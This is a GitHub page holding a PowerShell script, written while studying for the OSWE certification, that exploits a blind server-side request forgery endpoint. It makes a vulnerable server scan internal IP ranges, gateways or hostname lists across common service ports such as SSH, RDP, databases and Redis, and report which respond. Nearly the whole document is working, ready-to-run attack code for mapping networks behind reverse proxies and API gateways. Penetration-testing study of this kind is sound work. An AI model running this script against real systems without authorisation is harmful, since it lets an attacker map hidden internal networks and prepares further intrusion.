-
Notifications
You must be signed in to change notification settings - Fork 0
/
Invoke-SSRFGatewayScan.ps1
209 lines (207 loc) · 9.48 KB
/
Invoke-SSRFGatewayScan.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
<#
.SYNOPSIS
This is a simple template script for gateway detection on an internal network via blind SSRF.
.Description
This script enumerates hosts on the local intranet behind reverse proxies/apigateways.
.PARAMETER Target
A full uri that we want to scan for.
.PARAMETER Port
The port we expect to find a gateway on.
.PARAMETER NetworkAddress
A valid network address in CIDR format to generate gateways from.. This parameter cannot be used with Hostnames.
.PARAMETER Hosts
Enumerate Live hosts within the subnet specified by NetworkAddress. This parameter cannot be used with Hostnames.
.PARAMETER Hostnames
A filepath to a list a hostnames to bruteforce. This parameter cannot be used with NetworkAddress.
.PARAMETER Timeout
Number of seconds before moving onto the next address.
.PARAMETER Gateway
Enumerate Gateways in a CIDR IPv4 address range.
.PARAMETER Open
Will show alive/valid gateways/hosts. Setting this to false will show everything. Has no effect when used with Gateway.
.OUTPUTS
Returns PSCustomObject with the corresponding port and response object
.NOTES
Version: 1.0
Author: Zinhart
Purpose/Change: Created while studying for OSWE certification
.EXAMPLE
If we wanted to scan for only 172.16.16.1:8000
PS> Invoke-SSRFGatewayScan -Target http://apigateway:8000/files/import -Port 22,8000 -NetworkAddress '172.16.16.1/31'
.EXAMPLE
If we wanted to scan for hostname:8000
PS> Invoke-SSRFGatewayScan -Target http://apigateway:8000/files/import -Port 8000 -Hostnames 'path to worklist'
.Example
If we want to scan a range of ports in a subnet specified by the CIDR:
Invoke-SSRFGatewayScan -Target http://apigateway:8000/files/import -NetworkAddress '172.16.16.0/28' -Hosts -Open
#>
function Invoke-SSRFGatewayScan() {
[cmdletbinding()]
param(
# Network Address Parameter set
[Parameter(Mandatory=$True, ParameterSetName="NetworkAddress", HelpMessage='A valid network address in CIDR format to generate gateways from.. This parameter cannot be used with Hosts')]
[string]$NetworkAddress,
[Parameter(Mandatory=$false, ParameterSetName="NetworkAddress", HelpMessage='Enumerate Gateways in a CIDR IPv4 address range.')]
[switch]$Gateway,
[Parameter(Mandatory=$false, ParameterSetName="NetworkAddress", HelpMessage='Enumerate Live Hosts within a Subnet')]
[switch]$Hosts,
# Hostnames parameter set
[Parameter(Mandatory=$True, ParameterSetName="Hostnames", HelpMessage='Filepath to a list a hostnames to bruteforce. This parameter cannot be used with NetworkAddress.')]
[string]$Hostnames,
# Default parameter set
[Parameter(Mandatory=$false, HelpMessage='Number of seconds before moving onto the next port')]
[int]$Timeout = 5,
[Parameter(Mandatory=$true, HelpMessage='The target URI')]
[string]$Target,
[Parameter(Mandatory=$false, HelpMessage='Ports to scan for Hosts/Gateways for')]
[string[]]$Ports= @('22','80','443', '1433', '1521', '3306', '3389', '5000', '5432', '5900', '6379','8000','8001','8055','8080','8443','9000'),
[Parameter(Mandatory=$false, HelpMessage='Show Only Open ports')]
[switch]$Open,
[Parameter(Mandatory = $false, HelpMessage = 'Varying levels of output.')]
[ValidateSet("v","vv","vvv",ErrorMessage="Verbosity not one of (v,vv,vvv)", IgnoreCase=$true)]
[String] $Verbosity= "v"
)
<#
1. Changes need debugging to make sure they work right, so gateway,hosts, hostnames
2. We need to add the port onto the response object.
3.
#>
if($NetworkAddress -ne '') {
if($Gateway) {
$gateways = (./Convert-CIDRInfo.ps1 -NetworkAddress $NetworkAddress -Gateway).GatewaysEnumerated
foreach ($g in $gateways) {
foreach($p in $Ports) {
try{
$json = @{"url" = "http://"+ $g + ":" + $p} | ConvertTo-Json
$res = Invoke-WebRequest -uri $target -method Post -body $json -ContentType 'application/json' -SkipHttpErrorCheck -TimeoutSec $Timeout -ErrorAction Stop
$res | Add-Member -NotePropertyName IP -NotePropertyValue $g
$res | Add-Member -NotePropertyName Port -NotePropertyValue $p
if ($Verbosity -eq 'v') {
Write-Output $res | Select-Object -property IP, Port, StatusCode, Content
}
if ($Verbosity -eq 'vv') {
Write-Output $res | Select-Object -property IP, Port, StatusCode, RawContent, Headers
}
if ($Verbosity -eq 'vvv') {
Write-Output $res | Select-Object -property IP, Port, StatusCode, StatusDescription, Content, RawContent, Headers, RawContentLength
}
}
catch {
foreach ($e in $Error) {
if($e -like '*Timeout*') {
Write-Output "$g : $e"
break
}
else {
Write-Output "None timeout related error: $e"
}
}
}
}
}
}
# enumerate live hosts in a subnet
elseif($Hosts) {
$ips = (./Convert-CIDRInfo.ps1 -NetworkAddress $NetworkAddress -Enumerate).IPEnumerated
foreach ($ip in $ips) {
foreach($p in $Ports) {
try {
$json = @{"url" = "http://"+ $ip + ":" + $p} | ConvertTo-Json
$res = Invoke-WebRequest -uri $target -method Post -body $json -ContentType 'application/json' -SkipHttpErrorCheck -TimeoutSec $Timeout
$res | Add-Member -NotePropertyName IP -NotePropertyValue $ip
$res | Add-Member -NotePropertyName Port -NotePropertyValue $p
if($Open) {
if($res.Content -notlike '*EHOSTUNREACH*') # no route found to ip
{
if ($Verbosity -eq 'v') {
Write-Output $res | Select-Object -property IP, Port, StatusCode, Content
}
if ($Verbosity -eq 'vv') {
Write-Output $res | Select-Object -property IP, Port, StatusCode, RawContent, Headers
}
if ($Verbosity -eq 'vvv') {
Write-Output $res | Select-Object -property IP, Port, StatusCode, StatusDescription, Content, RawContent, Headers, RawContentLength
}
#Write-Output $res | Select-Object -property IP, Port, StatusCode, StatusDescription, Content, RawContent, Headers, RawContentLength
}
}
else {
if ($Verbosity -eq 'v') {
Write-Output $res | Select-Object -property IP, Port, StatusCode, Content
}
if ($Verbosity -eq 'vv') {
Write-Output $res | Select-Object -property IP, Port, StatusCode, RawContent, Headers
}
if ($Verbosity -eq 'vvv') {
Write-Output $res | Select-Object -property IP, Port, StatusCode, StatusDescription, Content, RawContent, Headers, RawContentLength
}
#Write-Output $res | Select-Object -property IP, Port, StatusCode, StatusDescription, Content, RawContent, Headers, RawContentLength
}
}
catch {
foreach ($e in $Error) {
if($e -like '*Timeout*') {
Write-Output "$ip : $e"
break
}
else {
Write-Output "None timeout related error: $e"
}
}
}
}
}
}
}
else {
$hostname_list = Get-Content $Hostnames
foreach ($hostname in $hostname_list) {
foreach($p in $Ports) {
try {
$json = @{"url" = "http://"+ $hostname + ":" + $p} | ConvertTo-Json
$res = Invoke-WebRequest -uri $target -method Post -body $json -ContentType 'application/json' -SkipHttpErrorCheck -TimeoutSec $Timeout
$res | Add-Member -NotePropertyName Host -NotePropertyValue $hostname
$res | Add-Member -NotePropertyName Port -NotePropertyValue $p
if($Open) {
if($res.Content -notlike '*EAI_AGAIN*') # dns lookup failure
{
if ($Verbosity -eq 'v') {
Write-Output $res | Select-Object -property Host, Port, StatusCode, Content
}
if ($Verbosity -eq 'vv') {
Write-Output $res | Select-Object -property Host, Port, StatusCode, RawContent, Headers
}
if ($Verbosity -eq 'vvv') {
Write-Output $res | Select-Object -property Host, Port, StatusCode, StatusDescription, Content, RawContent, Headers, RawContentLength
}
#Write-Output $res | Select-Object -property Host, Port, StatusCode, StatusDescription, Content, RawContent, Headers, RawContentLength
}
}
else {
if ($Verbosity -eq 'v') {
Write-Output $res | Select-Object -property Host, Port, StatusCode, Content
}
if ($Verbosity -eq 'vv') {
Write-Output $res | Select-Object -property Host, Port, StatusCode, RawContent, Headers
}
if ($Verbosity -eq 'vvv') {
Write-Output $res | Select-Object -property Host, Port, StatusCode, StatusDescription, Content, RawContent, Headers, RawContentLength
}
#Write-Output $res | Select-Object -property Host, Port, StatusCode, StatusDescription, Content, RawContent, Headers, RawContentLength
}
}
catch {
foreach ($e in $Error) {
if($e -like '*Timeout*') {
Write-Output "$hostname : $e"
break
}
else {
Write-Output "None timeout related error: $e"
}
}
}
}
}
}
}